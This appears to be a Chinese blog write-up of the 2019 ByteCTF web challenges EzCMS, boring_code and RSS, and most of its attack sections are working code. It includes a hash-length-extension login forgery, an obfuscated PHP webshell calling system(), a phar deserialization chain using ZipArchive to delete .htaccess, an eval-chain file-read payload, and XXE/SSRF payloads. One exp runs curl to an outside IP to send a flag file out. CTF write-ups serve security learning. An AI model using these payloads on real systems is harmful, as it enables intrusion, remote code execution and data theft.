2019ByteCTF线上WriteUp——WEB部分

1.EzCMS

扫描目录有www.zip 下载得到源码。

整个题目的功能如下:

  1. index.php页面验证登陆,可以任意账号登陆到upload.php上传页面,但是只有admin账号才能进行文件上传。
  2. 访问了upload.php·,就会在沙盒下生成一个.htaccess文件,内容为:lolololol, i control all。
  3. 上传文件后,会返回文件的存储路径,view details可以进入view.php,会回显文件的mime类型以及文件路径。
  4. 因为目录下的.htaccess被写入了内容,无法解析,所以访问上传的文件会报500。

只有admin才能上传文件,验证登陆的部分如下,显然是利用hash长度扩展登陆admin账户。

function login(){

    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;

}

function is_admin(){
    $secret = "********";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
    if ($username == "admin" && $password != "admin"){
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            return 1;
        }
    }
    return 0;
}

密钥长度为8,先随意登陆得到已知hash为52107b08c0f3342d2153ae1d68e6262c,利用hashpump:

Input Signature: 52107b08c0f3342d2153ae1d68e6262c
Input Data: admin
Input Key Length: 13
Input Data to Add: Lethe
ec1b7c99078d6f2be7c25481b53bad40
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00Lethe

所以添加Cookie:user=ec1b7c99078d6f2be7c25481b53bad40

用户名:admin
密码(将\x替换为%):admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00Lethe

成功登陆,并可以上传文件。

审计代码,看到那些类以及魔术方法,总是感觉像反序列化的题目,但是并没有地方使用了unserialize()。看到了config.php中的FIle类使用了mime_content_type(),想到了之前看的SUCTF2019出题笔记(https://xz.aliyun.com/t/6057) ,如下:

    public function view_detail(){

        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }
        $mine = mime_content_type($this->filepath);
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;
    }

再配合上文件上传功能,所以这题整体的思路应该是利用 phar 反序列化:

想办法将文件上传到其他目录中(这里因为tmp_name未知,所以无法利用)

重写 / 删除目录下的.htaccess文件。

下面就是构造利用链来想办法删除或重写.htaccess文件。

//view.php
<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path);
$res = $file->view_detail();
$mine = $res['mine'];
$store_path = $res['store_path'];

可以看到在view.php页面,会用传入的$file_name和$file_path参数实例化File类,然后调用view_detail()方法,跟进File类:

class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
    }

    public function view_detail(){

        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }
        $mine = mime_content_type($this->filepath);  //unserialize
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;

    }

    public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }

    function __destruct()
    {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }
}

关注__destruct()方法,可以看到用$checker调用了此类中不存的upload_file()函数,于是想到了call()方法,继续寻找,发现Profile类中存在可利用的call()方法,如下:

class Profile{

    public $username;
    public $password;
    public $admin;

    public function is_admin(){
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];
        $secret = "********";
        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;

    }
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}

在__call()方法中用$admin调用了open()函数,题目中的open函数如下:

    public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }

思路到这里貌似卡住了,这个open函数没什么可利用的…

但是这里$admin我们是可控的,于是可以找一下php里面有没有可以用来删除/重写文件的类,正好存在可利用的同名open()方法,这样我们就可以将$admin实例化为此类的对象。

搜索结果的第一个ZipArchive类就可以利用(https://www.php.net/manual/en/ziparchive.open.php

该类的open方法,使用如下:

ZipArchive :: open ( string $filename [, int $flags ]): mixed

第一个参数为文件名,第二个参数可以设置使用的模式。(https://www.php.net/manual/en/zip.constants.php#ziparchive.constants.overwrite

使用上述两个模式并将文件名设为.htaccess的路径,即可删除该文件。

知道整个构造思路了之后,先得到.htaccess文件的路径,并上传一个shell.php如下(使用php可变函数拼接字符绕过过滤),上传后记下文件路径:

//shell.php
<?php
$a="syste";
$b="m";
$c=$a.$b;
$d=$c($_REQUEST['a']);
?>

构造phar文件的脚本如下:

<?php
class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
        $this->checker = new Profile();
    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct()
    {
        $this->username =  "/var/www/html/sandbox/2ad1c8a81d5d1d24dcac4f7a110a605a/.htaccess";
        $this->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
        $this->admin = new ZipArchive();
    }
}
$a = new File('Lethe','Lethe');
//echo unserialize($a);
@unlink("1.phar");
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行得到1.phar文件,上传后得到路径sandbox/2ad1c8a81d5d1d24dcac4f7a110a605a/eec2d95bc618625503306c10fad5d37d.phar

然后去view.php触发反序列化,根据SUCTF2019的题目,可以用php://filter/resource=phar://...绕过对协议的过滤,最终访问

view.php?filename=eec2d95bc618625503306c10fad5d37d.phar&filepath=php://filter/resource=phar://sandbox/2ad1c8a81d5d1d24dcac4f7a110a605a/eec2d95bc618625503306c10fad5d37d.phar

即可触发phar反序列化并删除.htaccess文件。

注意删除后不能再次访问upload.php,否则会再生成.htaccess,直接访问刚才上传shell返回的路径即可RCE。

boring_code

根据hint可以得知,flag在/index.php,/code/有提示源码。

然后分析源码就可以了。

首先分析功能,他会将url中读取的信息,来传给eval执行。典型的代码执行漏洞。接下来我们继续去看他的拦截。进而bypass。

  1. url验证,要求host必须为baidu.com结尾。
  2. 正则对请求得到的代码进行匹配,要求格式类似:a(),a(b())等
  3. 对一些常见的关键字进行拦截。

Bypass 1

没找到办法。应该是ssrf中的一种绕过方式,但是奈何自己太菜。

不会、此时只好氪金 —> http://sale.bytebaidu.com

一键氪金完成、第一个bypass绕过完成。

Bypass 2、3

此时要求我们只能函数调函数。所以想到之前XCTF-Final的那个签到题。找一个可以传数组的危险函数。

这里也适用,找一个 1. 名字只存在字母的函数,2.参数值为1或者0。

// 显示所有函数
<?php var_dump(get_defined_functions());

// 然后通过sublime的手动处理,以及正则替换,匹配出仅存在字母的函数。

//  " [   -replace->  "换行[      <--- 格式化字符,使每行一个函数
//  .+".+[_0-9].+"换行  -replace-> 空        <--- 删除函数名中存在0-9以及斜线的函数

此时经过处理,还剩440个函数。

通过分析,可以发现,整题逻辑就是我们要构造形如a(b(c()));的函数去实现代码执行,光看这个,可以看出来,我们最中心的的c函数,其参数值必须为0。所以可以先fuzz一下。

最后大概可以发现(对,就是迷迷糊糊发现),phpversion,time这两个比较有用。

然后就想办法去调用吧。首先echo可以用。其次已知flag在index.php中。可以找一些读文件的函数找到了readfile。

其次构造文件名index.php,显然不合理,太难了。

最终发现一堆数学函数,以及chr,。

构造第一步

<?
// 读取当前目录下文件内容,chr(46)为点
echo(readfile(end(scandir(chr(46)))));

// 经过漫长的测试(写循环fuzz就行、)....
echo(readfile(end(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))));

// 然而,突然发现code和flag不在一个目录下还需要切换目录 
// 历经千辛万苦,构造出如下..
next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));

// 然而突然又发现,scandir确实能获取到上级目录了。
// 但是readfile需要传入一个路径啊,scandir最终获取到的是文件名....
// 然后又是心塞历程,最后想到通过chdir来切换目录,然后再读取。
// 但又考虑到chdir返回的值是1,我们还需要通过1,再来构造个.进而去得到index.php

// 此时,机智可爱的队友登场....localtime(time())会返回个时间数组,我们将秒取出来就可以了。
// 并且,time函数可以随便传值。

// 按照时间,返回0-60内的一个数。
pos(localtime(time()));

// 切换目录为上级目录,并返回一个0-60内的数
pos(localtime(time(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))));

// 将46替换为上行语句即可
echo(readfile(end(scandir(chr(46)))));

最终payload如下:

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));

p.s.坑点:一定要在服务器上起个服务,来打印以上语句。不能把他作为文件传上去。默认读取下载文件,会在后面加一个空行。空行过不了正则…

最终采用burp发包即可,记得设置间隔,一秒一个包。

RSS

<?xml version="1.0" encoding="utf-8"?>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/index.php">]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>先知安全技术社区</title>
        <link>http://xz.aliyun.com/forum/</link>
        <description>先知安全技术社区</description>
        <atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link>
        <language>zh-hans</language>
        <lastBuildDate>Tue, 02 Jul 2019 06:03:00 +0800</lastBuildDate>

        <item><title>&test;</title><link>http://xz.aliyun.com/t/5514</link><description>利用Excel power query实现远程DDE执行</description><pubDate>Tue, 02 Jul 2019 06:03:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5514</guid></item>

        <item><title>CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSS</title><link>http://xz.aliyun.com/t/5310</link><description>CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSS</description><pubDate>Mon, 03 Jun 2019 09:09:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5310</guid></item>
    </channel>
</rss>

爆破目录

http://112.126.96.50:9999/file/
http://112.126.96.50:9999/classes/
http://112.126.96.50:9999/static/
http://112.126.96.50:9999/controllers/

读取相关文件,之后构造exp如下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY test SYSTEM "http://localhost/rss_in_order?rss_url=http%3a%2f%2f47.90.204.28%3a2233%2ffile.xml&order=description%2c%22c%22)%3b%7dsystem(%22curl+http%3a%2f%2f47.90.204.28%3a2233%2f%60cat%20%2fflag_eb8ba2eb07702e69963a7d6ab8669134%20%7c%20base64%60%22)%3b%2f%2f">]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>先知安全技术社区</title>
        <link>http://xz.aliyun.com/forum/</link>
        <description>先知安全技术社区</description>
        <atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link>
        <language>zh-hans</language>
        <lastBuildDate>Tue, 02 Jul 2019 06:03:00 +0800</lastBuildDate>

        <item><title>&test;</title><link>http://xz.aliyun.com/t/5514</link><description>利用Excel power query实现远程DDE执行</description><pubDate>Tue, 02 Jul 2019 06:03:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5514</guid></item>

        <item><title>CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSS</title><link>http://xz.aliyun.com/t/5310</link><description>CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSS</description><pubDate>Mon, 03 Jun 2019 09:09:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5310</guid></item>
</channel>
</rss>
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇